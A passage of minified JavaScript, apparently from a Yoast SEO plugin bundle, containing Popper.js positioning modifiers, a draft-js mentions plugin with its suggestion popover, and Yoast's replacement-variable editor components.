0===e&&(e={});var n=e,r=n.placement,i=n.boundary,o=n.rootBoundary,s=n.padding,a=n.flipVariations,u=n.allowedAutoPlacements,c=void 0===u?H:u,f=tt(r),l=f?a?N:N.filter((function(t){return tt(t)===f})):K,h=l.filter((function(t){return c.indexOf(t)>=0}));0===h.length&&(h=l);var p=h.reduce((function(e,n){return e[n]=dt(t,{placement:n,boundary:i,rootBoundary:o,padding:s})[Z(n)],e}),{});return Object.keys(p).sort((function(t,e){return p[t]-p[e]}))}(e,{placement:n,boundary:f,rootBoundary:l,padding:c,flipVariations:d,allowedAutoPlacements:v}):n)}),[]),b=e.rects.reference,w=e.rects.popper,S=new Map,E=!0,O=m[0],x=0;x<m.length;x++){var I=m[x],z=Z(I),M=tt(I)===V,C=[j,P].indexOf(z)>=0,D=C?"width":"height",k=dt(e,{placement:I,boundary:f,rootBoundary:l,altBoundary:h,padding:c}),R=C?M?B:T:M?P:j;b[D]>w[D]&&(R=st(R));var A=st(R),q=[];if(o&&q.push(k[z]<=0),a&&q.push(k[R]<=0,k[A]<=0),q.every((function(t){return t}))){O=I,E=!1;break}S.set(I,q)}if(E)for(var L=function(t){var e=m.find((function(e){var n=S.get(e);if(n)return n.slice(0,t).every((function(t){return t}))}));if(e)return O=e,"break"},U=d?3:1;U>0&&"break"!==L(U);U--);e.placement!==O&&(e.modifiersData[r]._skip=!0,e.placement=O,e.reset=!0)}},requiresIfExists:["offset"],data:{_skip:!1}},{name:"preventOverflow",enabled:!0,phase:"main",fn:function(t){var e=t.state,n=t.options,r=t.name,i=n.mainAxis,o=void 0===i||i,s=n.altAxis,a=void 0!==s&&s,u=n.boundary,c=n.rootBoundary,f=n.altBoundary,l=n.padding,h=n.tether,p=void 0===h||h,d=n.tetherOffset,v=void 0===d?0:d,_=dt(e,{boundary:u,rootBoundary:c,padding:l,altBoundary:f}),m=Z(e.placement),b=tt(e.placement),w=!b,S=et(m),E="x"===S?"y":"x",O=e.modifiersData.popperOffsets,x=e.rects.reference,I=e.rects.popper,z="function"==typeof v?v(Object.assign({},e.rects,{placement:e.placement})):v,C="number"==typeof z?{mainAxis:z,altAxis:z}:Object.assign({mainAxis:0,altAxis:0},z),D=e.modifiersData.offset?e.modifiersData.offset[e.placement]:null,k={x:0,y:0};if(O){if(o){var R,A="y"===S?j:T,F="y"===S?P:B,K="y"===S?"height":"width",L=O[S],U=L+_[A],W=L-_[F],N=p?-I[K]/2:0,H=b===V?x[K]:I[K],J=b===V?-I[K]:-x[K],$=e.elements.arrow,Y=p&&$?M($):{width:0,height:0},X=e.modifiersData["arrow#persistent"]?e.modifiersData["arrow#persistent"].padding:{top:0,right:0,bottom:0,left:0},G=X[A],Q=X[F],nt=vt(0,x[K],Y[K]),rt=w?x[K]/2-N-nt-G-C.mainAxis:H-nt-G-C.mainAxis,it=w?-x[K]/2+N+nt+Q+C.mainAxis:J+nt+Q+C.mainAxis,ot=e.elements.arrow&&q(e.elements.arrow),st=ot?"y"===S?ot.clientTop||0:ot.clientLeft||0:0,at=null!=(R=null==D?void 0:D[S])?R:0,ut=L+it-at,ct=vt(p?g(U,L+rt-at-st):U,L,p?y(W,ut):W);O[S]=ct,k[S]=ct-L}if(a){var ft,lt="x"===S?j:T,ht="x"===S?P:B,pt=O[E],_t="y"===E?"height":"width",yt=pt+_[lt],gt=pt-_[ht],mt=-1!==[j,T].indexOf(m),bt=null!=(ft=null==D?void 0:D[E])?ft:0,wt=mt?yt:pt-x[_t]-I[_t]-bt+C.altAxis,St=mt?pt+x[_t]+I[_t]-bt-C.altAxis:gt,Et=p&&mt?function(t,e,n){var r=vt(t,e,n);return r>n?n:r}(wt,pt,St):vt(p?wt:yt,pt,p?St:gt);O[E]=Et,k[E]=Et-pt}e.modifiersData[r]=k}},requiresIfExists:["offset"]},{name:"arrow",enabled:!0,phase:"main",fn:function(t){var e,n=t.state,r=t.name,i=t.options,o=n.elements.arrow,s=n.modifiersData.popperOffsets,a=Z(n.placement),u=et(a),c=[T,B].indexOf(a)>=0?"height":"width";if(o&&s){var f=function(t,e){return ht("number"!=typeof(t="function"==typeof t?t(Object.assign({},e.rects,{placement:e.placement})):t)?t:pt(t,K))}(i.padding,n),l=M(o),h="y"===u?j:T,p="y"===u?P:B,d=n.rects.reference[c]+n.rects.reference[u]-s[u]-n.rects.popper[c],v=s[u]-n.rects.reference[u],_=q(o),y=_?"y"===u?_.clientHeight||0:_.clientWidth||0:0,g=d/2-v/2,m=f[h],b=y-l[c]-f[p],w=y/2-l[c]/2+g,S=vt(m,w,b),E=u;n.modifiersData[r]=((e={})[E]=S,e.centerOffset=S-w,e)}},effect:function(t){var e=t.state,n=t.options.element,r=void 0===n?"[data-popper-arrow]":n;null!=r&&("string"!=typeof r||(r=e.elements.popper.querySelector(r)))&&ct(e.elements.popper,r)&&(e.elements.arrow=r)},requires:["popperOffsets"],requiresIfExists:["preventOverflow"]},{name:"hide",enabled:!0,phase:"main",requiresIfExists:["preventOverflow"],fn:function(t){var e=t.state,n=t.name,r=e.rects.reference,i=e.rects.popper,o=e.modifiersData.preventOverflow,s=dt(e,{elementContext:"reference"}),a=dt(e,{altBoundary:!0}),u=_t(s,r),c=_t(a,i,o),f=yt(u),l=yt(c);e.modifiersData[n]={referenceClippingOffsets:u,popperEscapeOffsets:c,isReferenceHidden:f,hasPopperEscaped:l},e.attributes.popper=Object.assign({},e.attributes.popper,{"data-popper-reference-hidden":f,"data-popper-escaped":l})}}]}),mt=n(69590),bt=n.n(mt),wt=function(t){return t.reduce((function(t,e){var n=e[0],r=e[1];return t[n]=r,t}),{})},St="undefined"!=typeof window&&window.document&&window.document.createElement?i.useLayoutEffect:i.useEffect,Et=[];const Ot=window.lodash;function xt(){return xt=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(t[r]=n[r])}return t},xt.apply(this,arguments)}function It(t,e){return It=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t},It(t,e)}function zt(t,e){if(null==t)return{};var n,r,i={},o=Object.keys(t);for(r=0;r<o.length;r++)n=o[r],e.indexOf(n)>=0||(i[n]=t[n]);return i}function Mt(t,e){(null==e||e>t.length)&&(e=t.length);for(var n=0,r=new Array(e);n<e;n++)r[n]=t[n];return r}function Ct(t){var e=t.mention,n=t.children,r=t.className;return o().createElement("a",{href:e.link,className:r,spellCheck:!1,"data-testid":"mentionLink"},n)}function Dt(t){var e=t.children,n=t.className;return o().createElement("span",{className:n,spellCheck:!1,"data-testid":"mentionText"},e)}function kt(t){var e=t.entityKey,n=t.theme,r=void 0===n?{}:n,i=t.mentionComponent,s=t.children,u=t.decoratedText,c=t.className,f=t.contentState,l=a(r.mention,c),h=f.getEntity(e).getData().mention,p=i||(h.link?Ct:Dt);return o().createElement(p,{entityKey:e,mention:h,theme:r,className:l,decoratedText:u},s)}var Rt=function(t){var e=t.onMentionSelect,n=t.mention,r=t.theme,s=t.index,a=t.onMentionFocus,u=t.isFocused,c=t.id,f=t.searchValue,l=t.entryComponent,h=(0,i.useRef)(!1),p=(0,i.useRef)(null);(0,i.useEffect)((function(){u&&requestAnimationFrame((function(){var t;return null==(t=p.current)?void 0:t.scrollIntoView({behavior:"smooth",block:"nearest"})}))}),[u]),(0,i.useEffect)((function(){h.current=!1}));var d=u?r.mentionSuggestionsEntryFocused:r.mentionSuggestionsEntry;return o().createElement("div",{ref:p},o().createElement(l,{className:d,onMouseDown:function(t){t.preventDefault(),h.current=!0},onMouseUp:function(){h.current&&(e(n),h.current=!1)},onMouseEnter:function(){a(s)},role:"option",id:c,"aria-selected":u?"true":void 0,theme:r,mention:n,isFocused:u,searchValue:f,selectMention:e}))};Rt.propTypes={entryComponent:c().any.isRequired,searchValue:c().string,onMentionSelect:c().func};var At=Rt,qt=function(t,e,n){var r=e.getAnchorKey(),i=e.getAnchorOffset();return function(t,e,n){for(var r,i=t.substr(0,e),o=n.map((function(t){return h()(t)})).join("|"),s=new RegExp("(\\s|^)("+o+")","g"),a=0,u=0,c=function(t,e){var n="undefined"!=typeof Symbol&&t[Symbol.iterator]||t["@@iterator"];if(n)return(n=n.call(t)).next.bind(n);if(Array.isArray(t)||(n=function(t,e){if(t){if("string"==typeof t)return Mt(t,e);var n=Object.prototype.toString.call(t).slice(8,-1);return"Object"===n&&t.constructor&&(n=t.constructor.name),"Map"===n||"Set"===n?Array.from(t):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?Mt(t,e):void 0}}(t))||e&&t&&"number"==typeof t.length){n&&(t=n);var r=0;return function(){return r>=t.length?{done:!0}:{done:!1,value:t[r++]}}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}(i.matchAll(s));!(r=c()).done;){var f=r.value,l=f[1].length,p=f[2].length;u=(a=(f.index||0)+l)+p}var d=i.slice(u);return{begin:a,end:i.length,matchingString:d}}(t.getCurrentContent().getBlockForKey(r).getText(),i,n)};function jt(t){return"@"===t?"mention":t+"mention"}function Pt(t,e,n,r,i){var o=t.getCurrentContent().createEntity(jt(r),i,{mention:e}).getLastCreatedEntityKey(),s=t.getSelection(),a=qt(t,s,[r]),u=a.begin,c=a.end,l=s.merge({anchorOffset:u,focusOffset:c}),h=f.Modifier.replaceText(t.getCurrentContent(),l,""+n+e.name,void 0,o),p=l.getAnchorKey();t.getCurrentContent().getBlockForKey(p).getLength()===c&&(h=f.Modifier.insertText(h,h.getSelectionAfter()," "));var d=f.EditorState.push(t,h,"insert-fragment");return f.EditorState.forceSelection(d,h.getSelectionAfter())}function Bt(t){var e=t.mention,n=t.theme,r=void 0===n?{}:n;return e.avatar?o().createElement("img",{src:e.avatar,className:r.mentionSuggestionsEntryAvatar,role:"presentation"}):null}var Tt=["mention","theme","isFocused","searchValue","selectMention"];function Ft(t){var e=t.mention,n=t.theme;t.isFocused,t.searchValue,t.selectMention;var r=zt(t,Tt);return o().createElement("div",r,o().createElement(Bt,{mention:e,theme:n}),o().createElement("span",{className:null==n?void 0:n.mentionSuggestionsEntryText},e.name))}var Kt=function t(e){return e?"static"!==window.getComputedStyle(e).getPropertyValue("position")?e:t(e.parentElement):null};function Vt(t){var e,n=t.decoratorRect,r=t.popover,i=t.props,o=Kt(r.parentElement);if(o){var s=o.getBoundingClientRect();e={scrollLeft:o.scrollLeft,scrollTop:o.scrollTop,left:n.left-s.left,top:n.bottom-s.top}}else e={scrollTop:window.pageYOffset||document.documentElement.scrollTop,scrollLeft:window.pageXOffset||document.documentElement.scrollLeft,top:n.bottom,left:n.left};var a,u,c=e.left+e.scrollLeft,f=e.top+e.scrollTop;return i.open&&(i.suggestions.length>0?(a="scale(1)",u="all 0.25s cubic-bezier(.3,1.2,.2,1)"):(a="scale(0)",u="all 0.35s cubic-bezier(.3,1,.2,1)")),{left:c+"px",top:f+"px",transform:a,transformOrigin:"1em 0%",transition:u}}function Lt(t){return void 0!==t}function Ut(t){var e=t.store,n=t.children,r=t.theme,s=t.popperOptions,u=void 0===s?{placement:"bottom-start"}:s,c=(0,i.useState)((function(){return a(r.mentionSuggestions,r.mentionSuggestionsPopup)})),f=c[0],l=c[1],h=(0,i.useState)(null),p=h[0],d=h[1],v=function(t,e,n){void 0===n&&(n={});var r=i.useRef(null),o={onFirstUpdate:n.onFirstUpdate,placement:n.placement||"bottom",strategy:n.strategy||"absolute",modifiers:n.modifiers||Et},s=i.useState({styles:{popper:{position:o.strategy,left:"0",top:"0"},arrow:{position:"absolute"}},attributes:{}}),a=s[0],u=s[1],c=i.useMemo((function(){return{name:"updateState",enabled:!0,phase:"write",fn:function(t){var e=t.state,n=Object.keys(e.elements);u({styles:wt(n.map((function(t){return[t,e.styles[t]||{}]}))),attributes:wt(n.map((function(t){return[t,e.attributes[t]]})))})},requires:["computeStyles"]}}),[]),f=i.useMemo((function(){var t={onFirstUpdate:o.onFirstUpdate,placement:o.placement,strategy:o.strategy,modifiers:[].concat(o.modifiers,[c,{name:"applyStyles",enabled:!1}])};return bt()(r.current,t)?r.current||t:(r.current=t,t)}),[o.onFirstUpdate,o.placement,o.strategy,o.modifiers,c]),l=i.useRef();return St((function(){l.current&&l.current.setOptions(f)}),[f]),St((function(){if(null!=t&&null!=e){var r=(n.createPopper||gt)(t,e,f);return l.current=r,function(){r.destroy(),l.current=null}}}),[t,e,n.createPopper]),{state:l.current?l.current.state:null,styles:a.styles,attributes:a.attributes,update:l.current?l.current.update:null,forceUpdate:l.current?l.current.forceUpdate:null}}(e.getReferenceElement(),p,u),_=v.styles,y=v.attributes;return(0,i.useEffect)((function(){requestAnimationFrame((function(){return l(a(r.mentionSuggestions,r.mentionSuggestionsPopup,r.mentionSuggestionsPopupVisible))}))}),[r]),o().createElement("div",xt({ref:d,style:_.popper},y.popper,{className:f}),n)}var Wt=(0,Ot.once)((function(t){})),Nt=["entryComponent","popoverComponent","popperOptions","popoverContainer","onOpenChange","onAddMention","onSearchChange","suggestions","ariaProps","callbacks","theme","store","entityMutability","positionSuggestions","mentionTriggers","mentionPrefix"],Ht=function(t){var e,n;function r(e){var n;return(n=t.call(this,e)||this).state={focusedOptionIndex:0},n.key=(0,f.genKey)(),n.popover=void 0,n.activeOffsetKey=void 0,n.lastSearchValue=void 0,n.lastActiveTrigger="",n.lastSelectionIsInsideWord=void 0,n.onEditorStateChange=function(t){var e=n.props.store.getAllSearches();if(0===e.size)return t;var r=function(t,e,n){var r=t.getSelection(),i=r.getAnchorKey(),o=r.getAnchorOffset();if(!r.isCollapsed()||!r.getHasFocus())return null;var s=e.map((function(t){return function(t){var e=t.split("-"),n=e[0],r=e[1],i=e[2];return{blockKey:n,decoratorKey:parseInt(r,10),leafKey:parseInt(i,10)}}(t)})).filter((function(t){return t.blockKey===i})).map((function(e){return t.getBlockTree(e.blockKey).getIn([e.decoratorKey])}));if(s.every((function(t){return void 0===t})))return null;var a=t.getCurrentContent().getBlockForKey(i).getText(),u=s.filter(Lt).map((function(t){var e=t.start,r=t.end;return n.map((function(t){return 0===e&&o>=e+t.length&&a.substr(0,t.length)===t&&o<=r||n.length>1&&o>=e+t.length&&(a.substr(e+1,t.length)===t||a.substr(e,t.length)===t)&&o<=r||1===n.length&&o>=e+t.length&&o<=r?t:void 0})).filter(Lt)[0]})).filter(Lt);if(u.isEmpty())return null;var c=u.entrySeq().first();return{activeOffsetKey:c[0],activeTrigger:c[1]}}(t,e,n.props.mentionTriggers);if(!r)return n.props.store.resetEscapedSearch(),n.closeDropdown(),t;var i=n.activeOffsetKey;return n.activeOffsetKey=r.activeOffsetKey,n.onSearchChange(t,t.getSelection(),n.activeOffsetKey,i,r.activeTrigger),n.props.store.isEscaped(n.activeOffsetKey||"")||n.props.store.resetEscapedSearch(),n.props.open||n.props.store.isEscaped(n.activeOffsetKey||"")||n.openDropdown(),i!==n.activeOffsetKey&&n.setState({focusedOptionIndex:0}),t},n.onSearchChange=function(t,e,r,i,o){var s=qt(t,e,[o]).matchingString;n.lastActiveTrigger===o&&n.lastSearchValue===s&&r===i||(n.lastActiveTrigger=o,n.lastSearchValue=s,n.props.onSearchChange({trigger:o,value:s}),n.setState({focusedOptionIndex:0}))},n.onDownArrow=function(t){t.preventDefault();var e=n.state.focusedOptionIndex+1;n.onMentionFocus(e>=n.props.suggestions.length?0:e)},n.onTab=function(t){t.preventDefault(),n.commitSelection()},n.onUpArrow=function(t){if(t.preventDefault(),n.props.suggestions.length>0){var e=n.state.focusedOptionIndex-1;n.onMentionFocus(e<0?n.props.suggestions.length-1:e)}},n.onEscape=function(t){t.preventDefault(),n.props.store.escapeSearch(n.activeOffsetKey||""),n.closeDropdown(),n.props.store.setEditorState(n.props.store.getEditorState())},n.onMentionSelect=function(t){if(t){n.props.onAddMention&&n.props.onAddMention(t),n.closeDropdown();var e=Pt(n.props.store.getEditorState(),t,n.props.mentionPrefix,n.lastActiveTrigger||"",n.props.entityMutability);n.props.store.setEditorState(e)}},n.onMentionFocus=function(t){var e="mention-option-"+n.key+"-"+t;n.props.ariaProps.ariaActiveDescendantID=e,n.setState({focusedOptionIndex:t}),n.props.store.setEditorState(n.props.store.getEditorState())},n.commitSelection=function(){var t=n.props.suggestions[n.state.focusedOptionIndex];return n.props.store.getIsOpened()&&t?(n.onMentionSelect(t),"handled"):"not-handled"},n.openDropdown=function(){n.props.callbacks.handleReturn=n.commitSelection,n.props.callbacks.keyBindingFn=function(t){40===t.keyCode&&n.onDownArrow(t),38===t.keyCode&&n.onUpArrow(t),27===t.keyCode&&n.onEscape(t),9===t.keyCode&&n.onTab(t)};var t="mention-option-"+n.key+"-"+n.state.focusedOptionIndex;n.props.ariaProps.ariaActiveDescendantID=t,n.props.ariaProps.ariaOwneeID="mentions-list-"+n.key,n.props.ariaProps.ariaHasPopup="true",n.props.ariaProps.ariaExpanded=!0,n.props.onOpenChange(!0)},n.closeDropdown=function(){n.props.callbacks.handleReturn=void 0,n.props.callbacks.keyBindingFn=void 0,n.props.ariaProps.ariaHasPopup="false",n.props.ariaProps.ariaExpanded=!1,n.props.ariaProps.ariaActiveDescendantID=void 0,n.props.ariaProps.ariaOwneeID=void 0,n.props.onOpenChange(!1)},n.props.callbacks.onChange=n.onEditorStateChange,n}n=t,(e=r).prototype=Object.create(n.prototype),e.prototype.constructor=e,It(e,n);var i=r.prototype;return i.componentDidUpdate=function(){if(this.popover){var t=this.props.suggestions.length;if(t>0&&this.state.focusedOptionIndex>=t&&this.setState({focusedOptionIndex:t-1}),!this.props.store.getAllSearches().has(this.activeOffsetKey))return;for(var e=this.props.store.getPortalClientRect(this.activeOffsetKey),n=(this.props.positionSuggestions||Vt)({decoratorRect:e,props:this.props,popover:this.popover}),r=0,i=Object.entries(n);r<i.length;r++){var o=i[r],s=o[0],a=o[1];this.popover.style[s]=a}}},i.componentWillUnmount=function(){this.props.callbacks.onChange=void 0},i.render=function(){var t=this;if(!this.props.open)return null;var e=this.props,n=e.entryComponent,r=e.popoverComponent,i=e.popperOptions,s=e.popoverContainer,a=void 0===s?Ut:s;e.onOpenChange,e.onAddMention,e.onSearchChange,e.suggestions,e.ariaProps,e.callbacks;var u=e.theme,c=void 0===u?{}:u;e.store,e.entityMutability;var f=e.positionSuggestions;e.mentionTriggers,e.mentionPrefix;var l=zt(e,Nt);return r||f?(Wt("The properties `popoverComponent` and `positionSuggestions` are deprecated and will be removed in @draft-js-plugins/mentions 6.0 . Use `popperOptions` instead"),o().cloneElement(r||o().createElement("div",null),xt({},l,{className:c.mentionSuggestions,role:"listbox",id:"mentions-list-"+this.key,ref:function(e){t.popover=e}}),this.props.suggestions.map((function(e,r){return o().createElement(At,{key:null!=e.id?e.id:e.name,onMentionSelect:t.onMentionSelect,onMentionFocus:t.onMentionFocus,isFocused:t.state.focusedOptionIndex===r,mention:e,index:r,id:"mention-option-"+t.key+"-"+r,theme:c,searchValue:t.lastSearchValue,entryComponent:n||Ft})})))):this.props.renderEmptyPopup||0!==this.props.suggestions.length?o().createElement(a,{store:this.props.store,popperOptions:i,theme:c},this.props.suggestions.map((function(e,r){return o().createElement(At,{key:null!=e.id?e.id:e.name,onMentionSelect:t.onMentionSelect,onMentionFocus:t.onMentionFocus,isFocused:t.state.focusedOptionIndex===r,mention:e,index:r,id:"mention-option-"+t.key+"-"+r,theme:c,searchValue:t.lastSearchValue,entryComponent:n||Ft})}))):null},r}(i.Component);Ht.propTypes={open:c().bool.isRequired,onOpenChange:c().func.isRequired,entityMutability:c().oneOf(["SEGMENTED","IMMUTABLE","MUTABLE"]),entryComponent:c().func,onAddMention:c().func,suggestions:c().array.isRequired};var Jt=Ht,$t="undefined"!=typeof window?i.useLayoutEffect:i.useEffect;function Yt(t){var e=(0,i.useRef)(),n=function(t){t.store.updatePortalClientRect(t.offsetKey,(function(){return e.current.getBoundingClientRect()}))};return $t((function(){return t.store.register(t.offsetKey),t.store.setIsOpened(!0),n(t),t.store.setEditorState(t.store.getEditorState()),function(){t.store.unregister(t.offsetKey),t.store.setIsOpened(!1),t.store.setReferenceElement(null)}}),[]),(0,i.useEffect)((function(){n(t)})),o().createElement("span",{ref:function(n){e.current=n,t.store.setReferenceElement(n)}},t.children)}var Xt={mention:"m6zwb4v",mentionSuggestions:"mnw6qvm",mentionSuggestionsPopup:"m1ymsnxd",mentionSuggestionsPopupVisible:"m126ak5t",mentionSuggestionsEntry:"mtiwdxc",mentionSuggestionsEntryFocused:"myz2dw1",mentionSuggestionsEntryText:"mpqdcgq",mentionSuggestionsEntryAvatar:"m1mfvffo"},Gt=function(t){return function(e,n,r){e.findEntityRanges((function(e){var n=e.getEntity();return null!==n&&t.some((function(t){return r.getEntity(n).getType()===jt(t)}))}),n)}},Qt=/\s/;function Zt(t,e){return 0===e||Qt.test(t[e-1])}var te=function(t){void 0===t&&(t={});var e,n,i,s,a,u,c,f={keyBindingFn:void 0,handleKeyCommand:void 0,handleReturn:void 0,onChange:void 0},l={ariaHasPopup:"false",ariaExpanded:!1,ariaOwneeID:void 0,ariaActiveDescendantID:void 0},p=(0,r.Map)(),d=(0,r.Map)(),v=!1,_={getEditorState:void 0,setEditorState:void 0,getPortalClientRect:function(t){return d.get(t)()},getAllSearches:function(){return p},isEscaped:function(t){return e===t},escapeSearch:function(t){e=t},resetEscapedSearch:function(){e=void 0},register:function(t){p=p.set(t,t)},updatePortalClientRect:function(t,e){d=d.set(t,e)},unregister:function(t){p=p.delete(t),d=d.delete(t)},getIsOpened:function(){return v},setIsOpened:function(t){v=t},getReferenceElement:function(){return n},setReferenceElement:function(t){n=t}},y=t,g=y.mentionPrefix,m=void 0===g?"":g,b=y.theme,w=void 0===b?Xt:b,S=y.positionSuggestions,E=y.mentionComponent,O=y.mentionSuggestionsComponent,x=void 0===O?Jt:O,I=y.entityMutability,z=void 0===I?"SEGMENTED":I,M=y.mentionTrigger,C=void 0===M?"@":M,D=y.mentionRegExp,k=void 0===D?"[\\w-À-ÖØ-öø-ÿĀ-ňŊ-ſА-я぀-ゟ゠-ヿ㄰-㆏가-힣一-龥؀-ۿÀ-ỹ]":D,R=y.supportWhitespace,A=void 0!==R&&R,q=y.popperOptions,j="string"==typeof C?[C]:C,P={ariaProps:l,callbacks:f,theme:w,store:_,entityMutability:z,positionSuggestions:S,mentionTriggers:j,mentionPrefix:m,popperOptions:q};return{MentionSuggestions:function(t){return o().createElement(x,xt({},t,P))},decorators:[{strategy:Gt(j),component:function(t){return o().createElement(kt,xt({},t,{theme:w,mentionComponent:E}))}},{strategy:(i=j,s=A,a=k,u="("+i.map((function(t){return h()(t)})).join("|")+")",c=s?new RegExp(u+"("+a+"|\\s)*","g"):new RegExp("(\\s|^)"+u+a+"*","g"),function(t,e){!function(t,e,n,r){var i=e.getText();e.findEntityRanges((function(t){return!t.getEntity()}),(function(e,o){var s=i.slice(e,o);n?function(t,e,n,r){for(var i,o,s=t.lastIndex;null!==(i=t.exec(e))&&t.lastIndex!==s;){s=t.lastIndex;var a=(o=n+i.index)+i[0].length;Zt(e,i.index)&&r(o,a)}}(t,s,e,r):function(t,e,n,r){for(var i,o,s=t.lastIndex;null!==(i=t.exec(e))&&t.lastIndex!==s;){s=t.lastIndex;var a=(o=n+i.index)+i[0].length;Qt.test(e[o])&&(o+=1),r(o,a)}}(t,s,e,r)}))}(c,t,s,e)}),component:function(t){return o().createElement(Yt,xt({},t,{store:_}))}}],getAccessibilityProps:function(){return{role:"combobox",ariaAutoComplete:"list",ariaHasPopup:l.ariaHasPopup,ariaExpanded:l.ariaExpanded,ariaActiveDescendantID:l.ariaActiveDescendantID,ariaOwneeID:l.ariaOwneeID}},initialize:function(t){var e=t.getEditorState,n=t.setEditorState;_.getEditorState=e,_.setEditorState=n},keyBindingFn:function(t){return f.keyBindingFn&&f.keyBindingFn(t)},handleReturn:function(t){return f.handleReturn&&f.handleReturn(t)},onChange:function(t){return f.onChange?f.onChange(t):t}}},ee=function(t,e,n){var r=t.toLowerCase(),i=(n&&!Array.isArray(e)?e[n]:e).filter((function(t){return!r||t.name.toLowerCase().indexOf(r)>-1})),o=i.length<5?i.length:5;return i.slice(0,o)}},82080:(t,e,n)=>{"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.Mention=void 0;var r=a(n(99196)),i=a(n(98487)),o=a(n(85890)),s=a(n(70602));function a(t){return t&&t.__esModule?t:{default:t}}const u=i.default.span`
	color: rgb(15 23 42);
	background-color: rgb(226 232 240);
	padding: 0.125rem 0.5rem;
	margin: 0 0.125rem;
	border-radius: 17px;
  	font-size: .75rem;
  	font-weight: 500;
  	line-height: 1.25;
}
	&:hover {
      color: rgb(15 23 42);
	  background-color: rgb(226 232 240);
	  cursor: auto;
	}
`,c=({children:t,className:e})=>r.default.createElement(u,{className:(0,s.default)("yst-replacevar__mention",e),spellCheck:!1},t);e.Mention=c,c.propTypes={children:o.default.node.isRequired,className:o.default.string.isRequired}},51381:(t,e,n)=>{"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=void 0;var r=n(92694),i=function(t,e){if(t&&t.__esModule)return t;if(null===t||"object"!=typeof t&&"function"!=typeof t)return{default:t};var n=v(e);if(n&&n.has(t))return n.get(t);var r={__proto__:null},i=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var o in t)if("default"!==o&&Object.prototype.hasOwnProperty.call(t,o)){var s=i?Object.getOwnPropertyDescriptor(t,o):null;s&&(s.get||s.set)?Object.defineProperty(r,o,s):r[o]=t[o]}return r.default=t,n&&n.set(t,r),r}(n(99196)),o=d(n(85890)),s=d(n(12049)),a=n(65736),u=n(55609),c=d(n(42578)),f=n(37188),l=n(32183),h=n(34353),p=n(81413);function d(t){return t&&t.__esModule?t:{default:t}}function v(t){if("function"!=typeof WeakMap)return null;var e=new WeakMap,n=new WeakMap;return(v=function(t){return t?n:e})(t)}class _ extends i.default.Component{constructor(t){super(t),this.uniqueId=(0,s.default)("replacement-variable-editor-field-"),"description"===t.type?this.InputContainer=l.DescriptionInputContainer:this.InputContainer=l.TitleInputContainer,t.withCaret&&(this.InputContainer=(0,f.withCaretStyles)(this.InputContainer)),this.triggerReplacementVariableSuggestions=this.triggerReplacementVariableSuggestions.bind(this)}triggerReplacementVariableSuggestions(){this.ref.triggerReplacementVariableSuggestions()}render(){const{label:t,onChange:e,content:n,onFocus:o,onBlur:s,isActive:f,isHovered:h,onSearchChange:d,replacementVariables:v,recommendedReplacementVariables:_,editorRef:y,placeholder:g,fieldId:m,onMouseEnter:b,onMouseLeave:w,hasNewBadge:S,isDisabled:E,hasPremiumBadge:O,type:x}=this.props,I=this.InputContainer,z=(0,r.applyFilters)("yoast.replacementVariableEditor.additionalButtons",[],{fieldId:m,type:x});return i.default.createElement(l.FormSection,{className:["yst-replacevar",E&&"yst-replacevar--disabled"].filter(Boolean).join(" "),onMouseEnter:b,onMouseLeave:w},i.default.createElement(p.SimulatedLabel,{className:"yst-replacevar__label",id:this.uniqueId,onClick:o},t),O&&i.default.createElement(p.PremiumBadge,{inLabel:!0}),S&&i.default.createElement(p.NewBadge,{inLabel:!0}),i.default.createElement(l.ButtonsContainer,{className:"yst-replacevar__buttons"},i.default.createElement(u.Slot,{name:`yoast.replacementVariableEditor.additionalButtons.${m}`}),z.map(((t,e)=>i.default.createElement(i.Fragment,{key:`additional-button-${e}-${m}`},t))),i.default.createElement(u.Slot,{key:`PluginComponent-${m}`,name:`PluginComponent-${m}`}),i.default.createElement(l.TriggerReplacementVariableSuggestionsButton,{className:"yst-replacevar__button-insert",onClick:this.triggerReplacementVariableSuggestions,disabled:E},(0,a.__)("Insert variable","wordpress-seo"))),i.default.createElement(I,{className:"yst-replacevar__editor",onClick:o,isActive:f&&!E,isHovered:h},i.default.createElement(c.default,{fieldId:m,placeholder:g,content:n,onChange:e,onFocus:o,onBlur:s,onSearchChange:d,replacementVariables:v,recommendedReplacementVariables:_,ref:t=>{this.ref=t,y(t)},ariaLabelledBy:this.uniqueId,isDisabled:E})))}}_.propTypes={editorRef:o.default.func,content:o.default.string.isRequired,onChange:o.default.func.isRequired,onBlur:o.default.func,onSearchChange:o.default.func,replacementVariables:h.replacementVariablesShape,recommendedReplacementVariables:h.recommendedReplacementVariablesShape,isActive:o.default.bool,isHovered:o.default.bool,withCaret:o.default.bool,onFocus:o.default.func,label:o.default.string,placeholder:o.default.string,type:o.default.oneOf(["title","description"]).isRequired,fieldId:o.default.string,onMouseEnter:o.default.func,onMouseLeave:o.default.func,hasNewBadge:o.default.bool,isDisabled:o.default.bool,hasPremiumBadge:o.default.bool},_.defaultProps={onFocus:()=>{},onBlur:()=>{},onSearchChange:null,replacementVariables:[],recommendedReplacementVariables:[],fieldId:"",placeholder:"",label:"",withCaret:!1,isHovered:!1,isActive:!1,editorRef:()=>{},onMouseEnter:()=>{},onMouseLeave:()=>{},hasNewBadge:!1,isDisabled:!1,hasPremiumBadge:!1},e.default=_},42578:(t,e,n)=>{"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=e.ReplacementVariableEditorStandaloneInnerComponent=void 0;var r=E(n(99196)),i=E(n(37166)),o=E(n(95423)),s=E(n(60940)),a=E(n(25853)),u=E(n(66366)),c=E(n(1843)),f=E(n(16965)),l=E(n(18491)),h=E(n(85890)),p=n(25158),d=n(92694),v=n(65736),_=function(t,e){if(t&&t.__esModule)return t;if(null===t||"object"!=typeof t&&"function"!=typeof t)return{default:t};var n=S(e);if(n&&n.has(t))return n.get(t);var r={__proto__:null},i=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var o in t)if("default"!==o&&Object.prototype.hasOwnProperty.call(t,o)){var 